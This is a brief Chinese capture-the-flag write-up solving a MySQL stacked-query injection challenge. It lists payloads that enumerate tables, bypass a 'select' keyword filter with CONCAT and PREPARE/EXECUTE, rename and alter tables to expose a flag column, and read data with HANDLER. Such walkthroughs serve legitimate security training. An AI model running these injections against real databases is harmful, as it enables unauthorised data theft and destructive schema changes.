這題注入點很好找,跟之前easy sql一樣
先1’直接回顯,找到注入點
于是常用思路1’ union select 1,2#
把過濾字符都回傳出來了
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
下面就是sql(mysql)知識時間
show陳述句沒有過濾,所以可以開始
-1';show databases;
-1';show tables;
-1';show columns from `1919810931114514`;
現在很明顯了,我們需要從1919810931114514這個表里拿到flag
于是需要查找select過濾的繞過方式
1
.-1';
Set @sql=CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
execute stmt;
利用concat+預處理機制來繞過select過濾,就是在sql執行的時候才拼接出select,而過濾的時候,過濾函式看到的是se
和lect兩個字串
2.由于alter名又被禁用,所以可以通過更改表的方式來間接繞過
-1';
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
修改后payload:-1’ or ‘1’='1
3.mysql自帶handler函式
1';
handler `words` open;
handler `words` read first;
(我之前方法2改過資料庫,如果直接用handler函式,那么把words換成1919…)
參考視頻鏈接:https://www.bilibili.com/video/BV1eg411L7BN/
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/292865.html
標籤:其他
上一篇:網路安全技能競賽通關教程
